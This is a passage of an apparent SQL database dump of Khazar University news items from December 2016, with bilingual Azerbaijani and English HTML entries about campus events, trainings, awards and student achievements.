margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Dr. Hasan Niknafs, President of the\r\nUniversity, opened the event with a speech. Then speeches about the\r\nsignificance of the event were made by Lieutenant Colonel Elnur Gasimov, Deputy\r\nHead of the MES Regional Center for Baku; Hasan Aliyev, Director of the\r\nDepartment for Coordination with NGOs of the Azerbaijan Students’ Youth Organizations\r\nUnion; and Alovsat Amirbeyli, Director for Public Relations and Media of Khazar\r\nUniversity. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Then a video prepared by the employees\r\nof the MES Regional Center for Baku was shown. After the film, the following\r\nuniversity students made presentations on various themes: Emil Bayramov and\r\nFatima Ganbarli (Khazar University), Mirramin Yusifov (MES Academy), Ilaha\r\nBalakishiyeva (Azerbaijan University of Languages), Sozali Gurbanov (Azerbaijan\r\nState Economics University), Ulvi Mirzeyev (Azerbaijan Cooperation University),\r\nHayat Garayeva (Baku State University), Farid Alakbarli and Rauf Valiyev\r\n(Azerbaijan Medical University). </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The event closed with a\r\nquestion-and-answer session.&nbsp;</p>'),(2852,1695,'en','Career Development Center Meets with Procter & Gamble ','On December 8, 2016, the Khazar University Career Center organized a meeting between representatives of Procter & Gamble and students of the School of Economics...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On December 8, 2016, the Khazar\r\nUniversity Career Center organized a meeting between representatives of Procter\r\n&amp; Gamble and students of the School of Economics and Management. The\r\nmeeting covered information about summer internships for bachelor’s and\r\nmaster’s students, how to apply for the program, and interviews. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">At the end of the event, student’s\r\nquestions were answered, and Procter &amp; Gamble representatives gave company\r\ngifts to the participants.&nbsp;</p>'),(2853,1696,'az','Xəzər Universitetində xeyriyyə yarmarkası təşkil olundu','2016-ci il dekabrın 8-də Xəzər Universitetində (köhnə və yeni binanın girişində) Təhsil fakültəsinin tələbələri tərəfindən xeyriyyə məqsədilə “Ev şirniyyatları-2” adlı yarmarka təşkil edildi....','<p>2016-ci\r\nil dekabrın 8-dəXəzər\r\nUniversitetində (köhnə və yeni binanın girişində) Təhsil fakültəsinin tələbələri\r\ntərəfindən xeyriyyə məqsədilə “Ev şirniyyatları-2” adlı yarmarka təşkil edildi.\r\nYarmarkada Xəzər Universitetinin tələbələri və əməkdaşları iştirak etdilər.\r\nYarmarkadan toplanan vəsait Xəzər Universitetinin qan xərçəngindən əziyyət çəkən\r\nmagistr tələbəsinə və talassemiya xəstəsi olan 4 yaşlı Aylanın müalicəsinə sərf\r\nolunacaq.</p>'),(2854,1696,'en','Khazar University Holds Bake Sale for Charity','On December 8, 2016, the School of Education held a bake sale in the entrances of the old and new buildings (Neftchilar Campus) to support a charity cause...','<p>On\r\nDecember 8, 2016, the School of Education held a bake sale in the entrances of\r\nthe old and new buildings (Neftchilar Campus) to support a charity cause.\r\nKhazar University students, faculty and staff members participated in the\r\nevent. Proceeds were donated to a Khazar University master’s student who has\r\nleukemia and a four-year-old child named Ayla with thalassemia.&nbsp;</p>'),(2861,1700,'az','Beynəlxalq təlim: Hasilat sənayesində hüquqi və fiskal baza','Dekabrın 5-7-də Xəzər Universitetinin mərmər zalında Avrasiya Bilik Mərkəzi, Xəzər Universiteti və Təbii Sərvətlərin İdarə edilməsi İnstitutunun...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Dekabrın 5-7-də Xəzər\r\nUniversitetinin mərmər zalında Avrasiya Bilik Mərkəzi, Xəzər Universiteti və Təbii\r\nSərvətlərin İdarə edilməsi İnstitutunun (Natural Resource Governance İnstitute\r\n– NRGİ) təşkilatçılığı, İsveçrə İqtisadi Əməkdaşlıq Ofisinin&nbsp; (SEKO)\r\nmaliyyə dəstəyi ilə<strong> “</strong>Hasilat sənayesində hüquqi və fiskal baza”\r\nmövzusunda beynəlxalq təlim keçirildi. Təlimin məqsədi iştirakçılarla\r\nAvrasiyanın neft və qaz ixrac edən ölkələrinin hüquq və maliyyə rejimlərini\r\nmüzakirə etmək, onlarla bu mövzuda treninq keçmək idi. </p>\r\n<p>Tədbirdə Azərbaycan, Qazaxıstan, Qırğızıstan,\r\nMonqolustan, Tacikistan və Ukraynadan 27 nəfər mütəxəssis iştirak edirdi.</p>\r\n<p>Təlimin açılışında Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, SECO-nun\r\nregional direktorunun müavini Simone Haeberli çıxış edərək, iştirakçıları\r\nsalamladılar və onlara treninq prosesində səmərəli iş arzuladılar.</p>\r\n<p>NRGİ-nin regional direktoru Qalib Əfəndiyev\r\nçıxışında qeyd etdi ki, Avrasiya Bilik Mərkəzi ilk dəfə olaraq, hüquqi məsələlərə\r\nvə fiskal bazaya həsr olunmuş təlim keçirir. Bu mövzuda təlimin keçirilməsi\r\nregiondakı ölkələrin buna ehtiyacı olması ilə əlaqədardır.</p>\r\n<p>Avrasiya Bilik Mərkəzinin direktoru, Xəzər Universiteti\r\nİqtisadiyyat və menecment fakültəsinn dekanı İnqilab Əhmədov təlimin ilk\r\nsessiyasını açdı. NRGİ-nin hüquq məsələləri üzrə eksperti Amir Shafaie\r\n“Normativ-hüquqi baza və müqavilələrin rolu“ mövzusunda təlim keçirdi. Digər\r\nmövzularda da təlimlər oldu. “Lisenziyaların bölüşdürülməsi və danışıqlar”\r\nmövzusundakı ikinci iclas hüquqi konsepsiyalar əsasında qrup halında praktiki məşğələ\r\nkimi keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Tədbirin ikinci günü\r\nhasilat sənayelərində fiskal alətlərinə həsr olundu. NRGT-nin Monqolustandan\r\nolan eksperti Dorjdari Namkhaijantsan “Mənbədən gəlirə” mövsuzunda təlim\r\nkeçirdi. Sonra iştirakçılar təbii sərvətlərin gəlirlərinin şirkətlə dövlət\r\narasında düzgün bölüşməsi haqqında müzakirədə apardılar. Amir Shafei “Əsas\r\nfiskal alətləri” haqqında çıxış etdi. İştirakçıların sualları cavablandırıldı.\r\nİştirakçılar 4 qrupa bölünüb, praktiki tapşırıq yerinə yetirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Təlimin üçüncü günündə\r\n“Fiskal modelləşdirmə: bu nə üçün lazımdır?”, “Praktiki iş -&nbsp; modelləri\r\nnecə tətbiq etməli” və digər mövzularda təlimlər keçirildi. Təlimçilər Amir\r\nShafei və Dorjdari Namkhaijantsan idi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Günün sonunda üçgünlük təlimə\r\nyekun vuruldu, iştirakçılara sertifikat təqdim olundu.</p>'),(2862,1654,'az','BP-nin nümayəndəsi mühazirə oxudu','2016-cı il dekabrın 2-də BP-nin İstehsal Mühəndisliyi departamentinin rəhbəri Ehtiram Əzizov Neft Mühəndisləri Cəmiyyətinin dəstəyi ilə təşkil olunmuş...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı il dekabrın 2-də&nbsp;BP-nin\r\nİstehsal Mühəndisliyi departamentinin rəhbəri Ehtiram Əzizov Neft Mühəndisləri\r\nCəmiyyətinin dəstəyi ilə təşkil olunmuş  “Azəri-Çıraq-Günəşli yatağının\r\nproblemləri” mövzusunda Xəzər Universitetinin tələbələri üçün mühazirə oxudu.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Mühazirədə Xəzər Universitetinin tələbələri ilə\r\nyanaşı, Neft mühəndisliyi departamentinin müdiri dosent Qəşəm Zeynalov,\r\nAzərbaycan Dövlət Neft və Sənaye Universitetinin və Bakı Ali Neft Məktəbinin\r\ntələbələri də iştirak edirdilər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Mühazirə interaktiv formatda keçirilirdi və E.Əzizov\r\ntələbələrin suallarını cavablandırdı.&nbsp;</p>'),(2863,1701,'az','“Qədim Şərq tarixi, coğrafiyası, mədəniyyəti və ədəbiyyatı üzrə yarış”ın yarımfinal mərhələsi keçirildi','2016-cı il dekabrın 10-da Xəzər Universitetində Azərbaycan Respublikası Prezidenti yanında Gənclər Fondunun 8-ci qrant müsabiqəsinin qalibi olmuş “Elm şənliyi” layihəsi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il\r\ndekabrın 10-da Xəzər Universitetində Azərbaycan Respublikası Prezidenti yanında\r\nGənclər Fondunun 8-ci qrant müsabiqəsinin qalibi olmuş “Elm şənliyi” layihəsi çərçivəsində keçirilən “Qədim Şərq\r\ntarixi, coğrafiyası, mədəniyyəti və ədəbiyyatı üzrə yarış”ın yarımfinal mərhələsi keçirildi. Layihənin rəsmi tərəfdaşları Xəzər\r\nUniversiteti, Azərbaycan Respublikası Prezidenti yanında Gənclər Fondu, Azərbaycan\r\nMilli Elmlər Akademiyasının Arxeologiya və Etnoqrafiya İnstitutu, Misir Mədəniyyət\r\nMərkəzi və Azərbaycan Arxeoloqlar Cəmiyyətidir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbirdə Xəzər\r\nUniversiteti İctimaiyyətlə əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli, Tarix\r\nvə arxeologiya departamentinin müdiri Roza Arazova, həmin departamentinin müəllimi\r\nOrxan Zamanov və digər universitetlərin müəllimləri iştirak edirdilər. Yarışda\r\n7 komanda mübarizə apardı. Yarşıda Xəzər Universiteti, Azərbaycan Dövlət Pedaqoji\r\nUniversiteti (ADPU), ADPU-un Şamaxı filialı, Dövlət İdarəçiliyi Akademiyası (DİA),\r\nBakı Qızlar Universiteti, Mədəniyyət və İncəsənət Universiteti və Azərbaycan Texniki\r\nUniversiteti təmsil olunurdu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bilik\r\nyarışın yarımfinal\r\nmərhələsinin nəticələrinə əsasən, final mərhələsinə Azərbaycan Respublikası\r\nPrezidenti yanında Dövlət İdarəçilik Akademiyası, Azərbaycan Dövlət Pedaqoji Universiteti,\r\nBakı Qızlar Universiteti, Azərbaycan Dövlət Pedaqoji Universitetinin Şamaxı\r\nFilialını təmsil edən komandalar çıxdı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Final mərhələsi\r\ndekabrın 23-də Xəzər Universitetinin “Mərmər” salonunda (Xəzər Universiteti, Məhsəti\r\nküç., 41, “Neftçilər” kampusu) keçiriləcək.</p>'),(2864,1702,'az','Xəzər Universitetində növbəti “Əlçatan təhsil –Əlçatan gələcək” adlı təlim keçirildi','2016-cı il dekabrın 9-u və 10-da Xəzər Universitetində Azərbaycan Respublikasının Prezidenti yanında Gənclər Fondunun maliyyə, Y-PEER Azərbaycan şəbəkəsinin və Xəzər...','<p class=\"xmsonormal\" style=\"\" text-align:justify;text-indent:.25in\"=\"\">2016-cı\r\nil dekabrın 9-u və 10-da Xəzər Universitetində Azərbaycan Respublikasının\r\nPrezidenti yanında Gənclər Fondunun maliyyə, Y-PEER Azərbaycan şəbəkəsinin və Xəzər\r\nUniversitetinin Əlilliyi olan Tələbələr üçün Mərkəzinin təşkilati dəstəyi ilə\r\nnövbəti “Əlçatan təhsil –Əlçatan gələcək” adlı təlim keçirildi.</p>\r\n<p class=\"xmsonormal\" style=\"\" text-align:justify;text-indent:.25in\"=\"\">Təlimin\r\nməqsədi inklüziv təhsillə bağlı məlumatlandırma, əlilliyi olan uşaqlarla işləyərkən,\r\nonlara olan düzgün pedaqoji yanaşma və davranışın inkişaf etdirilməsi idi.</p>\r\n<p class=\"xmsonormal\" style=\"\" text-align:justify;text-indent:.25in\"=\"\">Təlimdə\r\nözünü potensial təlimçi və ya təhsil işçisi kimi görənlər, əlilliyi olan\r\nuşaqlarla çalışarkən yeni yanaşma və bacarıqları öyrənmək istəyən 18-25 yaş\r\narası gənclər iştirak edirdilər.</p>\r\n<p class=\"xmsonormal\" style=\"\" text-align:justify;text-indent:.25in\"=\"\">Təlim\r\nzamanı əlilliyi olan şəxslərin yaşadığı çətinlikləri hiss etmək, onları daha\r\nyaxşı anlamaq üçün müxtəlif oyunlar keçirildi, səhnəciklər göstərildi.</p>\r\n<p class=\"xmsonormal\" style=\"\" text-align:justify;text-indent:.25in\"=\"\">Təlim\r\nzamanı Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzinin\r\nkoordinatoru Rima Məmmədova iştirakçılara ESFİDİP layihəsi haqqında məlumat\r\nverdi və iştirakçıları maraqlandıran sualları cavablandlırdı.</p>\r\n<p class=\"xmsonormal\" style=\"\" text-align:justify;text-indent:.25in\"=\"\">Təlimin\r\nsonunda iştirakçılara sertifikat verildi.</p>'),(2865,1702,'en','Another “Accessible Education- Accessible Future” Training at Khazar','On December 9-10, 2016, a training event called “Accessible Education- Accessible Future” was held with the support of the Youth Foundation of the President of the Azerbaijan Republic...','<p>On December 9-10, 2016, a training event called “Accessible\r\nEducation- Accessible Future” was held with the support of the Youth Foundation\r\nof the President of the Azerbaijan Republic, Y-PEER Azerbaijani network and\r\nKhazar University’s Center for Students with Disabilities.</p>\r\n<p>The main goal of the training was to inform participants\r\nabout inclusive education as well as correct pedagogical approaches for working\r\nwith students with disabilities.</p>\r\n<p>Participants in the training included young people aged\r\n18-25 who are interested in being trainers or educators in the future, and who\r\nwant to learn more about new approaches and skills for working with children\r\nwho have disabilities. </p>\r\n<p>The training\r\nincluded various games and skits to help participants understand how people\r\nwith disabilities feel and how to relate to them. The training was led by Rima\r\nMammadova, project manager of the “Establishment of a Foundation for the\r\nIntegration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS\r\nproject and coordinator of the Center for Students with Disabilities, who also\r\ngave information about the project. </p>\r\n<p>At the end of\r\nthe training, participants were given certificates.<strong><em></em></strong></p>'),(2899,1722,'az','AMEA-nın Neft və Qaz İnstitutu ilə görüş keçirildi','2016-cı il dekabrın 14-də Xəzər Universiteti ilə Azərbaycan Milli Elmlər Akademiyasının Neft və Qaz İnstitutu ilə elmi əməkdaşlığına dair görüş keçirildi. Görüşdə Xəzər...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il dekabrın 14-də Xəzər Universiteti ilə Azərbaycan Milli\r\nElmlər Akademiyasının Neft və Qaz İnstitutu ilə elmi əməkdaşlığına dair görüş\r\nkeçirildi. Görüşdə Xəzər Universitetinin Magistratura, doktorantura və elmi işlər\r\nbölməsinin müdiri f.e.f.d. Eldar Şahgəldiyev və universitetin Neft-qaz mühəndisliyi\r\ndepartamentinin doktorantları Ali Atefi və Məsud Mehrizadə, AMEA Neft və Qaz İnstitutu\r\nelmi işlər üzrə direktor müavini professor Vaqif Qulamov, g.-m.ü.f.d. Rauf\r\nNadirov, AMEA Neft və Qaz İnstitutunun baş mühəndisi Rauf Mukimov iştirak edirdilər.\r\nTərəflər arasında gələcək perspektiv əməkdaşlığa dair fikir mübadiləsi\r\naparıldı.</p>'),(2866,1701,'en','Semifinal Round of “Ancient Eastern History, Geography, Culture and Literature Competition” Held','On December 10, 2016, the semifinal round of the “Ancient Eastern History, Geography, Culture and Literature Competition” was held at Khazar University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nDecember 10, 2016, the semifinal round of the “Ancient Eastern History,\r\nGeography, Culture and Literature Competition” was held at Khazar University\r\nwithin the Science Party project that won the 8th Grant Competition of the\r\nYouth Foundation of the President of the Azerbaijan Republic. Official partners\r\nof the project are Khazar University, Youth Foundation of the President of the\r\nAzerbaijan Republic, Archeology and Ethnography Institute of Azerbaijan\r\nNational Academy of Sciences, Egypt Cultural Center and Azerbaijan\r\nArcheologists’ Society. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Alovsat\r\nAmirbeyli, Director for Public Relations and Media; Associate Professor Roza\r\nArazova, Head of the Department of History and Archeology; Orkhan Zamanov,\r\ninstructor of the same department; and other instructors. Teams in the\r\ncompetition were from Khazar University, Azerbaijan State Pedagogical\r\nUniversity, Baku Girls’ University, and the Shamakhi Branch of Azerbaijan State\r\nPedagogical University.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The final round will\r\ntake place on December 23 in the Marble Hall on Khazar University’s Neftchilar\r\nCampus (41 Mehseti St).&nbsp;</p>'),(2867,1703,'en','Hamlet Isaxanli on Foundation Program on Education TV','On December 9, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was a guest on the Foundation...','<p>On December 9, 2016, Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, was a guest on the Foundation program of Education TV\r\noperating in affiliation with the Ministry of Education. He and Jafar Jafarov,\r\nRector of Azerbaijan State Pedagogical University, discussed the creation of\r\nAzerbaijani Rectors’ Council. </p>\r\n<p>The host of the program was Jesaret\r\nValehov. H.Isaxanli spoke about the idea of a Rectors’ Council (Rectors’\r\nConference; Rectors’ Association) including its duties, various traditions, and\r\nwhich activities in this sphere would be natural and/or necessary in\r\nAzerbaijan.&nbsp;</p>'),(2868,1703,'az','Təsisçi “Təhsil” televiziyasının “Təməl” proqramında ','2016-cı il dekabrın 9-da Təhsil Nazirliyinin nəzdindəki “Təhsil” televiziyasının “Təməl” proqramında Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının...','<p>2016-cı il\r\ndekabrın 9-da Təhsil Nazirliyinin nəzdindəki “Təhsil” televiziyasının “Təməl”\r\nproqramında Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının\r\nsədri professor Hamlet İsaxanlı və Azərbaycan Dövlət Pedaqoji Universitetinin\r\nrektoru Cəfər Cəfərov Azərbaycanda Rektorlar Şurasının yaradılması problemini\r\nmüzakirə etdilər. </p>\r\n<p>Proqramın\r\naparıcısı Cəsarət Valehov idi. H.İsaxanlı Rektorlar Şurası (Rektorlar\r\nKonfransı, Rektorlar Assosiasiyası) ideyası, onun vəzifələri, müxtəlif ənənələr\r\nvə Azərbaycanda bu istiqamətdə hansı növ fəaliyyətlərin zəruri və təbii olduğu\r\nbarədə ətraflı məlumat verdi.&nbsp;</p>'),(2869,1704,'az','“Xəzər”in tələbəsi dünya çempionatında gümüş medal qazandı','2016-cı il dekabrın 5-dən 7-dək Ukraynanın Xarkov şəhərində böyüklər arasında keçirilən kikboksinq üzrə dünya çempionatında Xəzər Universiteti Humanitar...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:22.5pt;line-height:normal\"\"=\"\">2016-cı il dekabrın 5-dən 7-dək Ukraynanın Xarkov şəhərində böyüklər\r\narasında keçirilən kikboksinq üzrə dünya çempionatında Xəzər Universiteti Humanitar və sosial elmlər fakültəsində tərcümə ixtisası üzrə təhsil alan III il\r\ntələbəsi Firudin Həsənov 2-ci yeri tutmuş və gümüş medala layiq görülmüşdür. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:22.5pt;line-height:normal\"\"=\"\">Xatırladaq ki, Həsənov Firudin müxtəlif beynəlxalq turnirlərin\r\nqalibidir. O, bundan əvvəl öz növündə 6 dəfə Azərbaycan çempionu olmuş, Avropa\r\nvə Avrasiya yarışlarında qızıl medala layiq görülmüşdür.&nbsp;</p>'),(2870,1705,'az','Xəzər Universitetinə “Qızıl Palma” mükafatı təqdim edildi','2016-cı il dekabrın 9-da “Boulevard” Hoteldə İraq səfirliyinin mükafat mərasimi keçirildi. Səfirliyin nümayəndəsi iraqlı tələbələrin Xəzər Universitetində uğurla ali təhsil aldıqlarını...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil dekabrın 9-da “Boulevard” Hoteldə İraq səfirliyinin mükafat mərasimi\r\nkeçirildi. Səfirliyin nümayəndəsi iraqlı tələbələrin Xəzər Universitetində uğurla\r\nali təhsil aldıqlarını qeyd etdi. Bu münasibətlə Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının şəxsində\r\nXəzər Universitetinə “Qızıl Palma” mükafatı təqdim olundu.</p>'),(2871,1706,'az','“Elektron resursların effektiv idarə olunması” təlim proqramı','2016-cı il dekabrın 12-də Xəzər Universiteti KİM-nin “Elektron informasiya xidmətləri” bölməsi İqtisadiyyat və menecment fakültəsinin bakalavr tələbələrin üçün...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il dekabrın 12-də Xəzər Universiteti KİM-nin\r\n“Elektron informasiya xidmətləri” bölməsi İqtisadiyyat və menecment fakültəsinin\r\nbakalavr tələbələrin üçün “Elektron resursların effektiv idarə olunması” adlı təlim\r\nproqramı keçirdi. Təlimi KİM-nin Elektron informasiya xidmətləri bölməsinin\r\nmüdiri Səidə Orucova   tərəfindən kecirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təlimdə\r\ntələbələrə elektron kataloqdan istifadə qaqaydaları (OPAC), onlayn məlumat\r\nbazaları və onların axtarış üsulları və dünya ali məktəblərinin <strong><em>Webometrics</em></strong>\r\nreytinqinə görə birinci olmuş Xəzər Universitetinin Elektron Arxivi barəsində\r\ngeniş məlumat verildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Sonda\r\nmövzu ilə bağlı tapşırıqları yerinə yetirildi.</p>'),(2894,1719,'en','“Towards Perfection” Event','On December 14, 2016, the Khazar University Psychological Services Center held an event entitled “Towards Perfection” upon popular demand of the students. The goal...','<p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On December 14, 2016, the Khazar\r\nUniversity Psychological Services Center held an event entitled “Towards\r\nPerfection” upon popular demand of the students. The goal of the event was to\r\nget young people interested in a healthy lifestyle, proper nutrition, avoidance\r\nof bad habits, fitness, and psychological health by showing them examples. </p>\r\n<p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The main lecturer was Fovqi Efendiyev,\r\ngraduate of the nutritional engineering program at Middle East Technical\r\nUniversity in Turkey.</p><p margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">During the event,\r\nstudents learned how to attain their ideal weight, what is good nutrition, and\r\nhow to break bad habits.</p>'),(2872,1704,'en','Khazar Student Earns Silver Medal in World Championship','On December 5-7, 2016, an adult world kickboxing championship was held in Kharkov, Ukraine. Firudin Hasanov, third-year student of Khazar University’s School of Humanities...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:22.5pt;line-height:normal\"\"=\"\">On\r\nDecember 5-7, 2016, an adult world kickboxing championship was held in Kharkov,\r\nUkraine. Firudin Hasanov, third-year student of Khazar University’s School of\r\nHumanities and Social Sciences majoring in translation studies, took second\r\nplace and earned a silver medal in the event. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:22.5pt;line-height:normal\"\"=\"\">We\r\nnote that Firudin Hasanov is a winner of several international championships.\r\nHe has been the Azerbaijani champion of his category 6 times and has won gold\r\nmedals in European and Eurasian competitions.&nbsp;</p>'),(2873,1705,'en','Khazar University Presented Golden Palm Award','On December 9, 2016, the Embassy of Iraq held an awards ceremony at the Boulevard Hotel. A representative from the Embassy noted Khazar University’s successes...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On December 9, 2016, the Embassy of Iraq held an awards ceremony at the\r\nBoulevard Hotel. A representative from the Embassy noted Khazar University’s\r\nsuccesses in the area of educating Iraqi students. In connection to this, the\r\nEmbassy awarded the university a Golden Palm award via Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees.&nbsp;</p>'),(2874,1706,'en','Effective Use of Electronic Resources Training','On December 12, 2016, the Khazar University Library Information Center Electronic Information Services Division held a training on “Effective Use of Electronic Resources” for...','<p>On\r\nDecember 12, 2016, the Khazar University Library Information Center Electronic\r\nInformation Services Division held a training on “Effective Use of Electronic\r\nResources” for bachelor’s students of the School of Economics and Management.\r\nThe training was led by Saida Orujova, Head of the Electronic Information\r\nServices Division.</p>\r\n<p>The\r\ntraining covered rules for using the electronic catalogue (OPAC), online\r\ndatabases and their search functions, and detailed information about the Khazar\r\nUniversity Electronic Archive which was rated first in the region on the\r\nWebometrics rating. </p>\r\n<p>At\r\nthe end of the training, participants did practice exercises.&nbsp;</p>'),(2875,1707,'az','İqtisadiyyat və menecment fakültəsinin məzunları ilə görüş keçirildi','2016-cı il dekabrın 10-da Xəzər Universiteti İqtisadiyyat və menecment fakültəsini 2016-cı ildə bitirmiş bakalavr məzunlarının bir qrupu ilə universitet rəhbərliyinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil dekabrın 10-da Xəzər Universiteti İqtisadiyyat və menecment fakültəsini\r\n2016-cı ildə bitirmiş bakalavr məzunlarının bir qrupu ilə universitet rəhbərliyinin\r\ngörüşü keçirildi. Məzunlarla İş Mərkəzinin direktoru Baba Bayramlı məzunları\r\nsalamladı və onları müzakirələrdə fəal olmağa çağırdı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">İqtisadiyyat\r\nvə menecment fakültəsinin dekanı Dr. İnqilab Əhmədov tələbələrə fakültənin\r\nmagistr proqramları barədə ətraflı məlumat verdi və məzunlara təhsillərini Xəzər\r\nUniversitetində davam etdirməyi tövsiyə etdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetinin rektoru Dr. Hassan Niknafs və İdarəetmə və tələbə işləri üzrə prorektor\r\nDr. İsaxan İsaxanlı məzunların Xəzər Universiteti haqqında fikirlərinin əhəmiyyətini\r\nvurğuladılar və bu barədə səmimi söhbət aparılmasının gələcək fəaliyyət üçün\r\nfaydalı olacağını qeyd etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Daha\r\nsonra məzunlarla diskussiya şəkilində müzakrə aparıldı.</p>'),(2876,1707,'en','School of Economics and Management Meets with Alumni','On December 10, 2016, the university administration held a meeting with 2016 bachelor-level graduates of the School of Economics and Management. Baba Bayramli...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nDecember 10, 2016, the university administration held a meeting with 2016\r\nbachelor-level graduates of the School of Economics and Management. Baba\r\nBayramli, Director of the Center for Alumni Relations, opened the meeting by\r\ngreeting the alumni and calling on them to actively participate in discussions.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Dr.\r\nIngilab Ahmadov, Dean of the School of Economics and Management, gave the\r\nparticipants detailed information about the School’s MBA program and\r\nrecommended that they consider continuing their education at Khazar. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Dr.\r\nHassan Niknafs, President of the University, and Dr. Isakhan Isakhanli, Vice\r\nPresident for Administration and Student Affairs, emphasized that alumni’s\r\nthoughts about Khazar University are important. They noted that sincere\r\ndiscussion with the graduates would be useful for the university in the future.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Then\r\na discussion was held with the alumni.&nbsp;</p>'),(2879,1710,'az','Son 5 ilin nailiyyətləri','Son 5 ilin nailiyyətləri','<a href=\"/files/students/lab.jpg\"><img src=\"/files/students/lab.jpg\" style=\"width:300px;height:170px;margin:7px;float:right\"></a><ul><li>Dünya universitetlərinin QS reytinq cədvəlində Azərbaycanın ən yaxşı ali məktəbidir</li><li>Beynəlxalq əməkdaşlıq proqramları üzrə Azərbaycanda və geniş bölgədə LİDERDİR!</li><li>Dünyanın 300-dən çox universiteti ilə əməkdaşlıq edir, tələbə mübadiləsi proqramı həyata keçirir</li><li>QS reytinq cədvəlində dünyanın ən yaxşı 700 universitetindən biri</li><li>Əcnəbi tələbələrin və əcnəbi müəllimlərin sayı ildən ilə artmaqdadır. Hazırda dünyanın 30-dan çox ölkəsindən əcnəbi tələbələr təhsil alır&nbsp;<a href=\"/files/students/DSC_9688.JPG\"><img src=\"/files/students/DSC_9688.JPG\" style=\"width:300px;height:170px;margin:7px;float:right\"></a></li><li>Yeni tədris, idman, yataqxana, 